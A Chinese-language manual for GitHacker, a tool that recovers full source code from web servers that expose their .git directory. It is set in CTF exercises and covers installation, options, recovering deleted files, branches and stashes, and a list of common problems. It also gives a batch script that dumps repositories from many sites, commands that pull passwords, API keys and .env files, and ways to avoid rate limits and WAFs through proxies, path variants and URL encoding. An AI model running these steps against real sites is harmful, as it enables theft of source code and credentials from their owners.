GitHacker 使用手册(Git泄露利用工具)

GitHacker 是最流行的 .git 目录泄露利用工具,能够自动下载并恢复完整源代码。

概述

工具特点

GitHacker 是由 WangYihang 开发的专业 Git 泄露利用工具,具有:

  • 自动化程度高: 一键下载完整源码

  • 多线程支持: 快速并发下载

  • 智能索引解析: 自动解析 .git/index 文件

  • 对象重建: 完整恢复 Git 对象

  • Python 实现: 跨平台支持

  • 主动维护: 定期更新

工作原理

1. 下载 .git/config, HEAD, index 等关键文件
2. 解析 index 获取所有文件的对象哈希
3. 下载所有 objects 文件
4. 重建工作目录
5. 恢复完整源码

系统要求

  • Python 3.6+

  • Git 客户端

  • 网络连接


安装方法

方法1: PyPI 安装(推荐)

# 使用 pip 安装
pip3 install GitHacker

# 验证安装
githacker --help

# 升级到最新版本
pip3 install --upgrade GitHacker

方法2: 源码安装

# 克隆仓库
git clone https://github.com/WangYihang/GitHacker.git
cd GitHacker

# 安装依赖
pip3 install -r requirements.txt

# 运行
python3 GitHacker.py --help

# 可选:安装到系统
python3 setup.py install

方法3: Docker 安装

# 拉取镜像
docker pull wangyihang/githacker

# 运行
docker run -it --rm -v $(pwd):/output wangyihang/githacker \
    --url http://example.com/.git/ \
    --output-folder /output/result

依赖库

requests>=2.25.0
beautifulsoup4>=4.9.3
colorama>=0.4.4
gitpython>=3.1.14

基本使用

最简单的用法

# 基本命令
githacker --url http://example.com/.git/ --output-folder result

# 简写形式
githacker -u http://example.com/.git/ -o result

常用参数

githacker \
    --url http://example.com/.git/ \     # 目标 URL
    --output-folder result \              # 输出目录
    --threads 10 \                        # 线程数(默认10)
    --brute                               # 暴力枚举模式

完整参数说明

必需参数:
  -u, --url URL              目标 .git 目录的 URL
  -o, --output-folder DIR    输出目录

可选参数:
  -t, --threads N            并发线程数(默认:10)
  -b, --brute                启用暴力枚举模式
  -a, --all                  下载所有分支
  --depth N                  克隆深度限制
  -v, --verbose              详细输出
  -h, --help                 显示帮助信息

高级功能

1. 多线程下载

# 默认10个线程
githacker -u http://example.com/.git/ -o result

# 增加到50个线程(更快,但可能触发防护)
githacker -u http://example.com/.git/ -o result -t 50

# 减少到1个线程(更隐蔽)
githacker -u http://example.com/.git/ -o result -t 1

2. 暴力枚举模式

当服务器禁止目录列表但对象文件仍可访问时使用:

# 启用暴力枚举
githacker -u http://example.com/.git/ -o result --brute

# 原理:枚举常见的对象哈希
# .git/objects/00/0000...
# .git/objects/01/0101...
# ...
# .git/objects/ff/ffff...

3. 下载所有分支

# 下载所有分支(默认只下载当前分支)
githacker -u http://example.com/.git/ -o result --all

# 查看所有分支
cd result
git branch -a

4. 限制克隆深度

# 只下载最近10次提交
githacker -u http://example.com/.git/ -o result --depth 10

# 浅克隆(速度快,但历史不完整)
githacker -u http://example.com/.git/ -o result --depth 1

5. 详细输出模式

# 显示详细的下载过程
githacker -u http://example.com/.git/ -o result --verbose

# 输出包括:
# - 每个文件的下载状态
# - 对象哈希值
# - HTTP 响应码
# - 错误信息

CTF应用场景

场景1: 标准 .git 泄露

# 题目提示访问:http://challenge.com/

# 1. 检测 .git 目录
curl http://challenge.com/.git/config

# 2. 使用 GitHacker 下载
githacker -u http://challenge.com/.git/ -o source

# 3. 查看源码
cd source
ls -la

# 4. 查找 flag
grep -r "flag{" .
grep -r "FLAG{" .

# 5. 查看敏感文件
cat config.php
cat .env

场景2: 历史记录中的 Flag

# 下载源码
githacker -u http://challenge.com/.git/ -o source --all

cd source

# 查看所有提交
git log --all --oneline

# 查找包含 "flag" 的提交
git log --all -S "flag" --source

# 查看特定提交
git show <commit_hash>

# 恢复删除的文件
git log --diff-filter=D --summary
git checkout <commit_hash> -- deleted_file.txt

场景3: 配置文件泄露

# 下载源码
githacker -u http://challenge.com/.git/ -o source

cd source

# 查找配置文件
find . -name "config*"
find . -name ".env*"
find . -name "*.ini"
find . -name "*.yaml"

# 查看数据库配置
cat config/database.yml
cat .env

# 提取凭据
grep -r "password" config/
grep -r "api_key" .

场景4: 开发者信息收集

cd source

# 查看开发者信息
git log --format="%an <%ae>" | sort -u

# 查看提交统计
git log --all --pretty=format:"%an" | sort | uniq -c | sort -nr

# 查看某个开发者的所有提交
git log --author="username" --all --oneline

场景5: Stash 和 Reflog

cd source

# 查看 stash
git stash list

# 查看 stash 内容
git stash show -p stash@{0}

# 应用 stash
git stash apply stash@{0}

# 查看 reflog(包括已删除的提交)
git reflog

# 恢复已删除的提交
git checkout <commit_hash>

实战案例

案例1: 简单的源码泄露

场景: Web 应用部署时未删除 .git 目录

# 1. 发现泄露
curl http://target.com/.git/HEAD
# 输出: ref: refs/heads/master

# 2. 下载源码
githacker -u http://target.com/.git/ -o webapp

# 3. 分析源码
cd webapp
tree -L 2

# 4. 查找漏洞
grep -r "eval(" .
grep -r "exec(" .
grep -r "system(" .

# 5. 发现 flag
cat flag.txt
# 或在数据库配置中
cat config.php

案例2: 硬编码密钥

场景: 开发者在代码中硬编码了 API 密钥

# 下载源码
githacker -u http://target.com/.git/ -o app

cd app

# 搜索 API 密钥模式
git log --all -S "api_key" --source
git log --all -S "secret_key" --source

# 查看包含密钥的提交
git show abc123

# 或使用工具自动扫描
gitleaks detect --source .
trufflehog filesystem .

案例3: 已删除的敏感文件

场景: 开发者提交了敏感文件后又删除,但历史中仍存在

# 下载完整历史
githacker -u http://target.com/.git/ -o source --all

cd source

# 查找所有被删除的文件
git log --diff-filter=D --summary | grep delete

# 示例输出:
# delete mode 100644 database_backup.sql
# delete mode 100644 secret_keys.txt

# 找到删除操作的提交
git log --all --full-history -- database_backup.sql

# 恢复文件
git checkout abc123^ -- database_backup.sql

# 查看内容
cat database_backup.sql

案例4: 多分支场景

场景: 不同分支包含不同的敏感信息

# 下载所有分支
githacker -u http://target.com/.git/ -o project --all

cd project

# 列出所有分支
git branch -a

# 切换到不同分支查找
git checkout develop
grep -r "flag{" .

git checkout feature/admin
grep -r "password" .

git checkout hotfix/security
git log --oneline

案例5: Packed Objects

场景: Git 打包了对象文件以节省空间

# GitHacker 会自动处理 pack 文件

githacker -u http://target.com/.git/ -o repo

cd repo

# 验证 pack 文件
ls -lh .git/objects/pack/

# 列出 pack 中的所有对象
git verify-pack -v .git/objects/pack/*.idx

# 提取特定对象
git cat-file -p <object_hash>

常见问题

问题1: 下载失败或不完整

症状: 部分文件无法下载

解决方案:

# 1. 增加线程数重试
githacker -u http://target.com/.git/ -o result -t 20

# 2. 尝试暴力枚举模式
githacker -u http://target.com/.git/ -o result --brute

# 3. 手动下载缺失的关键文件
wget http://target.com/.git/index -O result/.git/index
wget http://target.com/.git/HEAD -O result/.git/HEAD

问题2: 服务器限速或封禁

症状: HTTP 429 或连接被拒绝

解决方案:

# 1. 减少线程数
githacker -u http://target.com/.git/ -o result -t 1

# 2. 添加延迟(修改源码)
# 在请求之间添加 time.sleep(0.5)

# 3. 使用代理
export HTTP_PROXY=http://proxy:8080
export HTTPS_PROXY=http://proxy:8080
githacker -u http://target.com/.git/ -o result

问题3: WAF 防护

症状: 请求被 WAF 拦截

解决方案:

# 1. 修改 User-Agent
# 编辑 GitHacker 源码,更改请求头

# 2. 使用不同的路径变体
http://target.com/.git/
http://target.com/.git../
http://target.com/test/../.git/

# 3. 编码绕过
http://target.com/%2e%67%69%74/  # URL 编码

问题4: 对象文件压缩

症状: 下载的对象文件无法解析

解决方案:

# GitHacker 自动处理 zlib 压缩
# 如果失败,手动解压:

python3 << 'EOF'
import zlib

with open('.git/objects/ab/cdef123...', 'rb') as f:
    content = f.read()

try:
    decompressed = zlib.decompress(content)
    print(decompressed.decode('utf-8', errors='ignore'))
except:
    print("解压失败")
EOF

问题5: 权限错误

症状: 文件权限不正确

解决方案:

# 修复权限
cd result
chmod -R u+rw .git
git reset --hard HEAD

性能优化

1. 合理的线程数

# 小型仓库 (< 100 文件)
githacker -u URL -o result -t 5

# 中型仓库 (100-1000 文件)
githacker -u URL -o result -t 10  # 默认

# 大型仓库 (> 1000 文件)
githacker -u URL -o result -t 20

2. 网络优化

# 使用本地代理加速
export HTTP_PROXY=http://127.0.0.1:8080

# 设置超时
# 修改源码中的 timeout 参数

3. 存储优化

# 浅克隆节省空间
githacker -u URL -o result --depth 1

# 只下载当前分支
githacker -u URL -o result  # 不使用 --all

与其他工具对比

特性

GitHacker

git-dumper

GitTools

安装简单

⭐⭐⭐⭐⭐

⭐⭐⭐⭐⭐

⭐⭐⭐

自动化程度

⭐⭐⭐⭐⭐

⭐⭐⭐⭐⭐

⭐⭐⭐⭐

多线程

暴力枚举

错误处理

⭐⭐⭐⭐

⭐⭐⭐⭐⭐

⭐⭐⭐

活跃维护

⚠️

Python 3


进阶技巧

1. 批量扫描

#!/bin/bash
# 批量利用脚本

targets=(
    "http://site1.com"
    "http://site2.com"
    "http://site3.com"
)

for target in "${targets[@]}"; do
    echo "[*] 处理: $target"

    # 检测
    if curl -s "$target/.git/config" | grep -q "repositoryformatversion"; then
        echo "[+] 发现 .git 泄露: $target"

        # 下载
        output_dir="dumps/$(echo $target | sed 's/[^a-zA-Z0-9]/_/g')"
        githacker -u "$target/.git/" -o "$output_dir" -t 10

        echo "[+] 完成: $output_dir"
    else
        echo "[-] 未发现泄露: $target"
    fi
done

2. 自动化分析

# 下载并自动分析
githacker -u http://target.com/.git/ -o source

cd source

# 自动查找敏感信息
echo "=== 查找 Flag ==="
grep -r "flag{" . 2>/dev/null

echo -e "\n=== 查找密码 ==="
grep -r "password" . 2>/dev/null | grep -v ".git"

echo -e "\n=== 查找 API Key ==="
grep -r "api_key\|apikey\|api-key" . 2>/dev/null

echo -e "\n=== 数据库配置 ==="
find . -name "*.env" -o -name "config*.php" -o -name "database.yml"

# 使用 gitleaks 扫描
gitleaks detect --source . --report-format json --report-path report.json

参考资源

官方资源

  • GitHub: https://github.com/WangYihang/GitHacker

  • PyPI: https://pypi.org/project/GitHacker/

  • 文档: 仓库 README

相关工具

  • git-dumper: https://github.com/arthaud/git-dumper

  • GitTools: https://github.com/internetwache/GitTools

  • gitleaks: https://github.com/zricethezav/gitleaks

学习资源

  • CTF Wiki: https://ctf-wiki.org/misc/other/git/

  • .git 泄露原理: https://book.hacktricks.xyz/

  • Git 内部原理: https://git-scm.com/book/zh/v2/Git-内部原理


文档版本: v1.0 更新日期: 2025-01 适用版本: GitHacker v1.1.0+